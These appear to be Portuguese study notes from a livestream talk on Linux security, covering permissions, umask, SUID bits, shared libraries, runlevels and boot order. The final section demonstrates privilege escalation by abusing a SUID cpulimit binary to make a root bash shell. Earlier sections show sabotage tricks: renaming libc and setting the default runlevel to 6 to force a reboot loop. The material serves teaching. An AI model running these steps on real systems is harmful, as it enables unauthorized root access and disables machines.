Segurança em Linux — Notes

Notes

"Usem linux… porque no linux não tem vírus?"

Notas baseadas na live "Segurança em Linux — Christiano Linuxman | ROADSEC@HOME#37" da Roadsec, no YouTube.

Identificação de usuários

Permissões

Manipulação de arquivos

Tudo no linux é arquivo ou pasta. A ordem de permissão de manipular esses arquivos é:

A hierarquia de permissões se da por:

• Pasta
  • Arquivo
  • Arquivo

Umask

umask - user mask - 0 022

A umask influencia na permissão de criação de diretórios e arquivos. A umask é um padrão a nível de kernel.

Toda vez que criarmos uma pasta/arquivo, será subtraído a nossa umask (022) da permissão máxima (777), e o resultado será a permissão desta pasta/arquivo.

mkdir mateus_pasta

$777 – 022 = 755$

7rwx 5r-x 5r-x

No caso do arquivo, será subtraído mais 1 bit de cada permissão (111).

touch arquivo

$755 - 111 = 644$

6rw- 4r-- 4r--

O d junto com as perimções indica que o arquivo é um diretório.

Permissões especiais

Existem também as permissões especiais de usuário, representado pelo primeiro número da umask 0022.

Imagine o cenário que precisamos que alguém execute o comando shutdown, porem não queremos passar a senha de root. Podemos dar a permissão SUID BIT para o binário shutdown:

$ chmod 4755 /sbin/shutdown

Assim, qualquer usuário pode executar o comando shutdown com poder de root sem precisar ser root.

O mito

1. (P.) Arquivos criados pelo usuário têm a permissão 644.
2. (P.) Um vírus é um binário com poder de execução.
3. (1) Um usuário não pode criar um binário naturalmente.
4. (2, 3) ∴ Sem binários, sem vírus.

Manipulando arquivos no lugar certo

Libs

Para cada comando no linux, precisamos de bibliotecas para funcionarem (equivalentes a DLLs do Windows). Então como sei as libs necessárias para rodar um determinado comando? É só usar o comando ldd.

Ambiente Ubuntu 20.04 no KataCoda

$ which ls
/usr/bin/ls
 
$ ldd /usr/bin/ls
linux-vdso.so.1 (0x00007ffe4b5fc000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f1e050ec000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1e04efa000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f1e04e6a000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f1e04e64000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1e05147000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1e04e41000)

Agora executando o comando ldd nos binários cat e wget:

$ ldd /bin/cat
linux-vdso.so.1 (0x00007ffeddfd2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9923dc0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9923fc9000)
 
$ ldd /bin/wget
linux-vdso.so.1 (0x00007ffcbd989000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fbdc6c35000)
libuuid.so.1 => /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007fbdc6c2c000)
libidn2.so.0 => /lib/x86_64-linux-gnu/libidn2.so.0 (0x00007fbdc6c0b000)
libssl.so.1.1 => /lib/x86_64-linux-gnu/libssl.so.1.1 (0x00007fbdc6b78000)
libcrypto.so.1.1 => /lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007fbdc68a2000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fbdc6886000)
libpsl.so.5 => /lib/x86_64-linux-gnu/libpsl.so.5 (0x00007fbdc6871000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbdc667f000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fbdc665c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fbdc6d5e000)
libunistring.so.2 => /lib/x86_64-linux-gnu/libunistring.so.2 (0x00007fbdc64da000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fbdc64d4000)

Há uma semelhança notável entre os 3 binários, a biblioteca libc.so.6.

A maioria dos comandos linux usam essa biblioteca para funcionarem. Mas se mudarmos o nome desse arquivo e tentarmos executar o ls?

O sistema sentou. Bem, para resolver isso é só dar o mv de volta…

Inicialização do Linux

No linux temos 6 tipos de runlevel, são eles:

Então se eu souber qual é o primeiro processo, que é o init e chamar o runlevel 0 a máquina irá desligar.

$ init 0

Estamos no level 5, podemos conferir isso rodando o comando runlevel:

O N significa que não ouve nenhuma alteração de um runlevel dês da última inicialização. Podemos alterar esses runlevel, e eles estão associados a nossas pastas, se irmos ate a pasta /etc teremos uma pasta para cada runlevel:

Na pasta rc5.d, por exemplo, temos alguns processos que não irão subir, iniciador pela letra K (kill), e alguns que irão subir, iniciados pela letra S (start), neste determinado runlevel (5).

No arquivo /etc/inittab, na segunda linha temos:

id:5:initdefault

Oque aconteceria se mudarmos esse número de 5 para 6, e desligarmos, logo após, alguém ligar o PC para navegar na internet? A sequência é:

id:5:initdefault

• Botão Power
  • BIOS/MBR
    • gerenciador de boots (grub2)
      • kernel
        • init
          • DM
            • DE (onde estamos)

id:6:initdefault

• Botão Power
  • BIOS/MBR
    • gerenciador de boots (grub2)
      • kernel
        • init = 6 (reboot)

Caímos em um loop.

Privilege Escalation

Vamos tentar fazer um ataque de privilege escalation em um Linux, usando as permissões como área de exploração.

Primeiro vamos pesquisar na raiz do sistema, todo arquivo que tenha a permissão 4000, com o comando find / -perm -4000 2>/dev/null:

Obteremos vários resultados úteis, mas o que queremos é o cpulimit:

O cpulimit tem a permissão SUID BIT, ou seja, quando executa-lo ele irá trabalhar como root. Sendo assim, podemos criar uma pasta na raiz executando o comando cpulimit -l 100 -r mkdir /pasta, mesmo como um usuário comum:

Bem, se podemos executar um binário como root, e se usarmos isso para dar permissão SUID BIT também no binário bash?

1. Dou permissão SUID BIT para o binário bash

$ cpulimit -l 100 -f chmod 4755 /usr/bin/bash

2. Movo o binário para minha pasta

$ cpulimit -l 100 -f cp /usr/bin/bash /mr_robot/

3. Certifico que ele tem as permissões necessárias

$ cpulimit -l 100 -f chmod +s /mr_robot/bash

4. Por fim executo o binário

$ ./bash -p

uid=1001(mateus) gid=1001(mateus) euid=0(root) groups=1001(mateus)

referências

Segurança em Linux - Christiano Linuxman | ROADSEC@HOME#37: https://www.youtube.com/watch?v=AzB5BNDTXOk